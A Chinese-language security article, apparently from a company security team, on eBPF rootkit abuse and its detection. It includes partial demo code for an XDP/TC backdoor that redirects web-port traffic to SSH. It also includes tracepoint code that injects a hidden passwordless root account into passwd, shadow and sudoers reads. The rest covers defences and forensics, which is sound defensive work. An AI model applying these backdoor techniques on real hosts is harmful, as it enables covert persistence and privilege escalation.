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近几年来,云原生领域飞速发展,k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核带来了新的挑战。
系统内核在面对复杂性不断增长,性能、可扩展性新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。
eBPF出现,以较小的子系统改动,保障了系统内核的稳定。具备实时动态加载的特性,将业务逻辑加载到内核,实现热更新的动态执行。 eBPF技术的出现,衍生新业务场景的同时,也带来了安全威胁。
在解决很多技术难题的同时,eBPF技术的出现也带来了新的恶意利用,从一些海外资料和国内资料中可以看到,目前关于eBPF技术恶意利用的现状如下所示:
在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier
分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用,如何构建一个rootkit,入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上,包括检测防御代码。
在DEF CON29峰会上,安全研究员Pat Hogan
也分享了一篇关于eBPF的恶意利用案例:《Warping Reality – creating and countering the next generation of Linux rootkits using eBPF》 ,介绍了eBFP rootkit的应用场景,包括网络、运行时等,以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。
国内在eBPF恶意利用的资料较少,相关技术分享也少,它的危害没有得到国内同行的注意,势必影响到国内公司在网络安全防御体系的建设,导致落后于国外,给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方,有责任带领大家更好的认识这种恶意利用,分享检测防御经验,加固网络安全产品,为国内信息安全建设贡献一份力。
知己知彼才能百战不殆,要想做好防御,必须要了解他的攻击原理,我们一起来看下他的rootkit是如何设计的,功能有哪些?
从eBPF的功能来看,提供了
等几个领域功能。 在网络
领域,Cilium等云原生公司做了很多网络层的产品,在实现网格管理的同时,也做了响应的网络层面安全策略,尤其是网络编排领域,表现尤为亮眼,逐步代替iptables
等产品,大有一统江山的趋势。 在监控
、观测
等领域也有很多产品。尤其是运行时安全领域,Datadog 、Falco、Google等公司,都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。
我们回顾一下eBPF技术的hook点:
从图中可以看出,eBPF的hook点功能包括以下几部分
Storage
、Network
等与内核交互之前;eBPF的功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。
笔者基于eBPF的功能函数,从业务场景来看,网络、监控、观测类的功能促进了云原生领域的产品发展;跟踪/性能分析、安全类功能,加快了安全防御、审计类产品演进;而安全领域的恶意利用,也会成为黑客关注的方向。在这里,笔者与大家探讨一下新的威胁与防御思路,
从数据流所处阶段来看,笔者划分为两部分,接下来一起来讨论恶意利用、风险危害与防御思路。
以一个SSH、WEB服务的服务器为例,在IDC常见网络访问策略中,开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP,或者只开放内网端口访问。
假设这台服务器已经被黑客入侵,黑客需要留下一个后门,且需要一个隐藏、可靠的网络链路作为后门通道,那么在eBPF技术上,会如何实现呢?
为了让后门隐藏的更好,最好是不开进程,不监听端口(当前部分我们只讨论网络层隐藏)。而eBPF技术在XDP、TC、socket等内核层的功能,能够实现流量信息修改,这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后,更改了TCP包的目标IP,系统内核再将该数据包转发出去。
按照XDP与TC在Linux内核中,处理ingress与egress的位置,可以更准确地确定hook点。
XDP的BPF_PROG_TYPE_XDP
程序类型,可以丢弃、修改、重传来自ingress
的流量,但无法对egress
起作用。
TC的BPF_PROG_TYPE_SCHED_CLS
除了拥有XDP BPF_PROG_TYPE_XDP
的功能外,还可以对egress
起作用。
前者最常用的场景就是做网络防火墙,用于网络流量清洗,效率比传统防火墙的高很多。 后者常用于云原生场景下,容器、POD的网络监控、安全访问控制等。在这个例子中,要多进出流量都做调整,故两个hook点都需要有。 同样,在XDP等阶段的hook,在这里做相关包逻辑处理,能更好的将通讯包隐藏,tcpdump等工具都抓不到。
在后门场景里,可以在同样的位置,像eBPF的负载均衡一样,修改目标端口,从web nginx 的80改为SSHD的22,就可以实现网络数据的透传,绕开防火墙以及网络访问限制。
由于后门rootkit是在XDP\TC层工作,为了尽可能的简单,认证密钥最好只使用链路层、网络层、传输层的数据,即MAC信息、IP五元组之类。IP经常变动,MAC地址大概率是唯一的,以及设定一个固定的端口,这样更加唯一,作为rootkit的认证密钥即可实现。(需要client发起连接时,指定客户端的TCP端口)
对于后门rootkit的密钥更新,利用eBPF也很好实现。比如,在nginx的场景中,uprobe实现hook http的函数,获取url参数中特定字符串,再将字符串保存到eBPF map里,就实现了密钥更新。
XDP/TC层的eBPF rootkit执行时,读取eBPF map里的密钥,进行比较运算。
举个XDP处理ingress的例子
SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;
//判断是否为SSHD的协议,不是则直接放行
if (!(不是SSHD协议(&c))) {
return XDP_PASS;
}
//判断rootkit是否匹配,网卡信息与来源端口是否匹配
hack_mac[] = "读取bpf map配置。"
if(密钥不匹配) {
return XDP_PASS;
}
// 读取map,是否已经存在该client信息
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);
struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);
// 如果没找到伪装信息,则自己组装
if(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}
// 伪装mac局域网mac信息
pkt.eth->h_source[0] = 0x00;
...
// 替换伪装ip来源 ,客户端端口不变
// 更改目标端口
pkt.tcp->dest = htons(FACK_PORT); //22
//计算TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;
//写入已伪装的map,用于TC处理egress的原mac、IP信息还原。
return XDP_PASS;
}
比较简单的demo,即可实现 ingtrss侧TCP数据包的伪装。同样,TC层处理egress方向的数据包时,只需要对伪装包的原始信息作还原即可。整个流程如下图:
这样,rootkit的通讯链路并不影响正常用户访问,也没有对原系统做改动,隐蔽性特别好。
笔者准备了三台主机测试:
这个rootkit不主动创建socket,借用其中一个网络发送包,把消息送达给后门使用者。 对系统影响来说,只是一个不起眼的小网络响应。 在万千HTTP包里,根本定位不到。
云原生生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些服务的运行环境,也给攻击者留下一个完美的发挥空间。
回顾eBPF的hook点,作用在syscall的kprobe、tracepoint事件类型,倘若用在后门rootkit场景,是十分可怕的。比如,修改内核态返回给用户态的数据,拦截阻断用户态行为等为所欲为。而更可怕的是,常见的HIDS都是基于内核态或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗
。
在SSHD应用中,当用户登录时,会读取/etc/passwd等文件。用户态sshd程序,调用open、read等系统调用,让内核去硬件磁盘上检索数据,再返回数据给sshd进程。
用户态实现/etc/passwd
、/etc/shadown
等文件payload的生成,并通过eBPF的RewriteConstants
机制,完成对elf .rodata的字段值替换。
import "github.com/ehids/ebpfmanager"
// 通过elf的常量替换方式传递数据
func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
var username = RandString(9)
var password = RandString(9)
var s = RandString(8)
salt := []byte(fmt.Sprintf("$6$%s", s))
// use salt to hash user-supplied password
c := sha512_crypt.New()
hash, err := c.Generate([]byte(password), salt)
var m = map[string]interface{}{}
res := make([]byte, PAYLOAD_LEN)
var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
copy(res, payload)
m["payload"] = res
m["payload_len"] = uint32(len(payload))
// 生成passwd字符串
var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)
// 生成shadow字符串
var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)
// eBPF RewriteContants
var editor = []manager.ConstantEditor{
{
Name: "payload",
Value: m["payload"],
FailOnMissing: true,
},
{
Name: "payload_len",
Value: m["payload_len"],
FailOnMissing: true,
},
}
return editor
}
func (this *MBPFContainerEscape) setupManagers() {
this.bpfManager = &manager.Manager{
Probes: []*manager.Probe{
{
Section: "tracepoint/syscalls/sys_enter_openat",
EbpfFuncName: "handle_openat_enter",
AttachToFuncName: "sys_enter_openat",
},
...
},
Maps: []*manager.Map{
{
Name: "events",
},
},
}
this.bpfManagerOptions = manager.Options{
...
// 填充 RewriteContants 对应map
ConstantEditors: this.constantEditor(),
}
}
const volatile int payload_len = 0;
...
const volatile char payload_shadow[MAX_PAYLOAD_LEN];
SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
// 判断是否为rootkit行为,是否需要加载payload
...
long int read_size = ctx->ret;
// 判断原buff长度是否小于payload
if (read_size < payload_len) {
return 0;
}
// 判断文件类型,匹配追加相应payload
switch (pbuff_addr->file_type)
{
case FILE_TYPE_PASSWD:
// 覆盖payload到buf,不足部分使用原buff内容
{
bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
if (i >= payload_passwd_len) {
local_buff[i] = ' ';
}
else {
local_buff[i] = payload_passwd[i];
}
}
}
break;
case FILE_TYPE_SHADOW:
// 覆盖 shadow文件
...
break;
case FILE_TYPE_SUDOERS:
//覆盖sudoers
...
break;
default:
return 0;
break;
}
// 将payload内存写入到buffer
ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
// 发送事件到用户态
return 0;
}
按照如上demo rootkit的设计,即完成了随机用户名密码的root账号添加。在鉴权认证上,也可以配合eBPF网络层恶意利用
的demo,利用eBPF map交互,实现相应鉴权。 但rootkit本身并没有更改硬盘上文件,不产生风险行为。并且,只针对特定进程的做覆盖,隐蔽性更好。整个流程如下图:
不管是在物理机上,还是给了root+BPF权限的容器上,都一样生效。
云原生场景下,赋予SYS_ADMIN
的权限的容器场景很多,若配合近期的JAVA log4j
漏洞,直接击穿容器,拿到宿主机权限,是不是很可怕?
然而,比这可怕的是这种rootkit本身并没有产生用户态行为日志,也没有改文件,系统里查不到这个用户信息。整个后门行为不产生数据,让大部分HIDS失灵。
从笔者演示的这两个场景可以来看,大家已经知道eBPF技术被恶意利用的危害。其实,这只是eBPF技术的冰山一角,在kproeb\uprobe上也有很多功能,比如实现进程隐藏,无痕内网扫描等等。相关恶意利用可参考Bad BPF – Warping reality using eBPF一文。
若入侵者精心设计rootkit,实现进程隐藏等,让rootkit更加隐蔽,按照本文的思路,实现一个幽灵般的后门,想想就让人后怕。
常规的主机安全防御产品一般用netlink
linux kernel module
等技术实现进程创建、网络通讯等行为感知,而eBPF的hook点可以比这些技术更加深,比他们执行更早,意味着常规HIDS并不能感知发现他们。
传统rootkit,采用hook api方法,替换原来函数,导致执行函数调用地址发生变化,已有成熟检测机制,eBPF hook不同于传统rootkit ,函数调用堆栈不变。这给检测带来很大的麻烦。
那面对这种后门,该如何检测防御呢?
从事件发生的过程来看,分为三个阶段:
在恶意程序运行前,减少攻击面,这个思路是更古不变的。
不管是宿主机还是容器,都进行权限收敛,能不赋予SYS_ADMIN
、CAP_BPF
等权限,就禁止掉。若一定要开放这个权限,那么只能放到运行时的检测环节了。
在容器启动时,修改默认seccomp.json,禁止bpf系统调用,防止容器逃逸,注意此方法对于Privileged
特权容器无效。
修改函数返回值做运行时防护时,需要用到bpf_override_return
,该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE
编译参数,因此非特殊情况不要开启该编译参数。
大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外,比如BPF_PROG_TYPE_SOCKET_FILTER
和BPF_PROG_TYPE_CGROUP_SKB
这两个类型,就不需要root。但需要读取系统配置开关。
//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240
if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
type != BPF_PROG_TYPE_CGROUP_SKB &&
!bpf_capable())
return -EPERM;
在/proc/sys/kernel/unprivileged_bpf_disabled
里,可通过执行sysctl kernel.unprivileged_bpf_disabled=1
来修改配置。配置含义见Documentation for /proc/sys/kernel/
有人提议,在内核加载bpf字节码时,进行签名验证,以便达到只加载安全签名的bpf字节码。
lwn.net中也列出这个话题:BPF字节码签名计划 。
但很多人也提出 反对意见 ,认为bpf模块这几年的发展,过于抽象化,越来越复杂,不希望加入额外的功能,让bpf更加不稳定。而是改变思路,让字节码加载时签名,改为「执行bpf字节码加载的用户态程序进行签名」,这个是已有的内核功能,不会增加系统复杂性。
笔者认为,这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o
大部分eBPF程序在重启后不存在了,所以,入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。
用户态程序可以以各种形式存在,ELF可执行文件、ELF so动态链接库都可以。在执行时,必定会调用BPF syscall来加载BPF 字节码。 若只是对可执行ELF做检测,还不够准确。
linux系统中,所有的程序运行,都必须进行系统调用,eBPF程序也不例外。需要调用syscall为321的SYS_BPF
指令。
并且,所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么,在这个必经之路进行拦截监控,是最好的方案。
SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
struct bpf_context_t *bpf_context = make_event();
if (!bpf_context)
return 0;
bpf_context->cmd = args->cmd;
get_common_proc(&bpf_context->procinfo);
send_event(args, bpf_context);
return 0;
}
这里,我们开源的ehids项目做了一个bpf syscall检测的例子,大家可以fork了解。仓库见https://github.com/ehids/ehids-agent
当然,细心的读者会有疑问,假如入侵者的后门执行比较早,对这个系统调用进行欺骗,那怎么办呢?
这是个好问题,我们放到运行后的溯源章节讨论。但对于大部分场景,HIDS防御产品还是可以做到第一时间启动的。
上面我们讨论了对bpf系统调用进行监控,在云原生场景中,基于eBPF实现的网络产品会频繁调用,会产生大量的事件日志,给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。
数据过滤,是解决大量数据压力的方案。在一些BPF应用的业务服务器上,本身业务行为会产生大量调用,会给安全预警带来较大审计压力。对于已知的进程,可以根据进程特征过滤。
获取当前进程PID、COMM等特征,根据用户态写入eBPF map的配置,决定是否上报、是否拦截。 也可以在用户态做过滤,但内核态效率更高。如果是做拦截,那必须要在内核态实现。
参考saBPF产品设计思路 ,用eBPF实现LSM HOOK点的钩子程序,完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo,思路可以借鉴。
在BPF syscall里,子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference 里有详细的读写API。在实际的业务场景里,写
的安全风险比读
大。所以,我们可以过滤掉读
操作,只上报、审计写
操作。
比如:
BPF_MAP_CREATE
尤其是有BPF需求的业务场景,可以更好的审计日志。
问个问题,eBPF用户态程序与内核态程序交互,加载bpf字节码后,能退出吗? 退出后,内核hook的bpf函数还工作吗?创建的map是否还存在? 后门程序为了保证更好的隐蔽性,会如何选择?
要回答这个问题,不得不提BPF程序的加载机制,BPF对象生命周期。
用户态程序通过文件描述符FD来访问BPF对象(progs、maps、调试信息),每个对象都有一个引用计数器。用户态打开、读取相应FD,对应计数器会增加。若FD关闭,引用计数器减少,当refcnt为0时,内核会释放BPF对象,那么这个BPF对象将不在工作。
在安全场景里,用户态的后门进程若退出后,后门的eBPF程序也随之退出。在做安全检查时,这可以作为一个有利特征,查看进程列表中是否包含可疑进程。
但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看,只需要保证refcnt大于0,就可以让BPF对象存活,让后门进程持续工作了。其实在BPF的程序类型中,像XDP
、TC
和基于CGROUP
的钩子是全局的,不会因为用户态程序退出而退出。相应FD会由内核维护,保证refcnt计数器不为零,从而继续工作。
在安全工程师视角里,就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中,都使用了eBPF的相关接口,意味着,如果恶意程序比检查工具运行的早,那么对于结果存在伪造的可能。
BPF程序类型代表
特点是基于FD管理,内核自动清理,对系统稳定性更好。这种程序类型的后门,在排查时特征明显,就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。
eBPF程序列表
命令bpftool prog show
,以及bpftool prog help
查看更多参数。
结果中,可以看到当前系统正在运行的BPF程序、关联的BPF map ID,以及对应的进程信息等。
另外,细心的你可能发现,结果中,XDP数据中并没有进程ID信息,稍后讨论。
eBPF map列表
命令bpftool map show
,以及bpftool map help
查看更多参数。
通过查看map信息,可以与程序信息作辅助矫正。并且,可以导出map内数据用来识别恶意进程行为。这部分我们在取证
章节讨论。
bpflist-bpfcc -vv
命令可以看到当前服务器运行的部分
BPF程序列表。以笔者测试环境为例
[email protected]:/home/cfc4n/project/xdp# bpflist-bpfcc -vv
open kprobes:
open uprobes:
PID COMM TYPE COUNT
1 systemd prog 8
10444 ehids map 4
10444 ehids prog 5
可以看到系统进程systemd
启动了8个prog程序。ehids
进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o
命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。
BPF程序类型代表
上面提到以ip命令加载bpf字节码的场景,常见BPF工具查询不到或信息缺失。其背后原因,需要从他的工作原理讲起。
BPF对象的生命周期使用引用计时器管理,这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间,之后再由内核空间维持。
以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o
为例。 IP命令的参数中包含bpf字节码文件名
,IP进程打开.o字节码的fd,通过NETLINK
发IFLA_XDP
类型消息(子类型IFLA_XDP_FD
)给内核,内核调用dev_change_xdp_fd
函数,由网卡接管FD,引用计数器递增,用户空间的IP进程退出后,BPF程序依旧工作。 内核源码见:https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237
笔者做了抓包验证,IP关联XDP程序类型:
17:53:22.553708 sendmsg(3,
{
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000},
msg_namelen=12,
msg_iov=[
{
iov_base={
{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0},
{ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0},
{
{nla_len=20, nla_type=IFLA_XDP},
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, 6},
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
]
}
},
iov_len=52
}
],
msg_iovlen=1,
msg_controllen=0,
msg_flags=0
}, 0) = 52
可以看到IFLA_XDP_FD
后面的FD参数是6
。同样,删除XDP程序,需要把FD设置为-1
,对应NETLINK包构成如下:
17:55:16.306843 sendmsg(3,
{
...
{nla_len=20, nla_type=IFLA_XDP},
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, -1},
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
] }
...
}, 0) = 52
不止IP命令,TC命令分类器 也是支持BPF程序,将BPF程序作为classifiers
和 actions
加载到 ingress/egress hook
点。背后原理与IP类似,也是netlink协议与内核通讯,网卡维持BPF对象计数器。
使用原生IP、TC等命令,查看网卡加载的BPF对象。
ip link show
tc filter show dev [网卡名] [ingress|egress]
使用bpftool命令查看
bpftool net show dev ens33 -p
命令可以用于查看网络相关的eBPF HOOK点。
CGROUP的的BPF_PROG_TYPE_CGROUP_SKB
、BPF_PROG_TYPE_CGROUP_SOCK
类型程序的加载情况都可以通过bpftool prog show
查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图:
除了前面提到的方法外,BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt
引用计数器,来保持后台的活跃状态。使用时,只需要使用bpf_obj_get(“BPFFS path”)
就可以获得BPF对象的FD。
BPFFS在linux的类型是BPF_FS_MAGIC
,默认目录/sys/fs/bpf/
,可自定义修改,但确保文件系统类型是unix.BPF_FS_MAGIC
。
检测思路上,需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC
类型。
在linux系统上,mount -t bpf
来查看系统所有挂在的文件类型,是否包含BPFFS
类型。
确定BPFFS的目录后,再查看目录下的挂在点是否存在异常。
bpftool
工具可以导出有FD ID的PROG、MAP。
BPF PROG程序
可以导出opcode\visual\linum等多种格式,并可以生成调用关系图。具体可以查看bpftool的帮助文件。
[email protected]:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited PROG [{ file FILE | opcodes | linum }]
BPF MAP
与PROG类似,也可以通过bpftool
导出内容,并支持json格式化内容。
[email protected]:/home/cfc4n# bpftool map dump id 20
[{
"value": {
".rodata": [{
"target_ppid": 0
},{
"uid": 0
},{
"payload_len": 38
...
BPFFS
BPFFS类型的BPF对象,虽然可以更便捷的放到后台执行,用户空间程序可以退出,也可以再次读取,但这也给取证带来很大便利。bpftool
命令也支持从pinned
到BPFFS文件系统的路径里导出PROG、MAP。参与少有区别,详情见bpftool help
。
当定位到后门rootkit的用户空间程序后,那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中,或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具,定位到相关字节流,导出即可。
以笔者演示视频中的ehids进程为例,使用https://github.com/ehids/ebpfmanager 纯GO的eBPF模块管理器package,对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata
包对BPF字节码进行加载、GZIP压缩,作为go代码的变量,在部署时比较边界。
IDA pro加载时,我们可以在.noptrdata
段部分看到这块代码,开始地址是0000000000827AE0
,导出后再解压,可以还原原来的BPF ELF文件内容。
因为每个BPF用户态实现不同,类库也不一样,静态分析实践起来有难度。那可以模拟相同环境,动态运行,提前HOOK BPF SYSCALL,找到FD设置的地方,也是可以导出BPF的ELF文件。
BPF字节码本身也是ELF格式,只是格式指令上有一定区别。反编译工具IDA pro
也能支持,国外安全工程师开源了一个python插件:eBPF IDA Proc ,以及整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry’s Enhanced IDA Processor Tool ,有兴趣可以读读。
eBPF在网络安全场景的使用,除了做入侵检测外,还是可以用于防御。 LSM PROBE
HOOK提供了相关功能。以容器逃逸场景为例,行为最明显的特征是父子进程
的namespace
不一致,子进程创建完成后,判断这个特征是否匹配,返回EPERM
覆盖进程创建函数的返回值,从而起到防御的目的。相比内核模块等防御实现,eBPF实现更加安全、稳定、可靠,从而在源头上解决容器逃逸的问题。
同样,笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。
LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
return -EPERM;
}
在系统的配置上有一定要求,CONFIG_BPF_LSM=y
,CONFIG_LSM
配置内容,必须包含bpf
等,详情可参考BCC类库Demo lsm probe 。
入门练手,可以尝试使用BCC的类库:https://github.com/iovisor/bcc ,以及C语言用户空间程序的各种Demo例子Demo BPF applications 。
工程化时,对项目质量、稳定性、研发效率等都有要求,推荐cilium的纯go eBPF类库,由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。
笔者的产品也是参考datadog,抽象包装了cilium的eBPF库,实现配置化便捷管理eBPF程序。github仓库:https://github.com/ehids/ebpfmanager ,欢迎使用。
当然,也可以使用libbpf包装的go类库实现,比如tracee等产品。
eBPF的出现极大的简化了编写内核态代码的门槛,极高的安全性,友好的加载方式,高效的数据交互,令eBPF深受追捧。然而和编写传统内核模块相同,内核态的功能开发伴随着繁冗的适配测试工作,Linux繁多的内核版本更是让适配这件事难度陡增,
这也就是BTF出现之前的很长一段时间里,bcc + clang + llvm
被人们诟病的地方。 程序在运行的时候,才进行编译,目标机器还得安装clang llvm kernel-header
等编译环境,同时编译也会消耗大量cpu资源,这在某些高负载机器上是不能被接受的。
因此BTF&CO-RE
横空出现,BTF可以理解为一种debug符号描述方式,此前传统方式debug信息会非常巨大,linux内核一般会关闭debug符号,btf的出现解决了这一问题,大幅度减少debug信息的大小,使得生产场景内核携带debug信息成为可能。
可喜的是通过运用这项技术,可以帮助开发者节省大量适配精力,但是这项技术目前还是在开发中,还有许多处理不了的场景,比如结构体成员被迁入子结构体中,这时候还是需要手动解决问题,BTF的开发者也写了一篇文章,讲解不同场景的处理方案bpf-core-reference-guide
在国外,云原生领域产品发展较快,涌现出一批批基于eBPF的产品,包括Cilium、datadog 、falco、Katran等,应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域,可以借鉴这些大型项目的研发经验,来加快产品建设,包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主,工程建设相关经验我们在以后的文章中分享。
随着云原生快速发展,eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看,国外对这个方向的研究远比国内超前,笔者再次呼吁大家,网络安全产品应当尽快具备eBPF相关威胁检测能力。
这里,笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初,提到eBPF在防御检测产品研发、工程建设等,我们将在下一篇跟大家分享,敬请期待。
美团信息安全部招聘研发专家,职位如下列表,职位描述见美团信息安全部2022年招聘岗位 。
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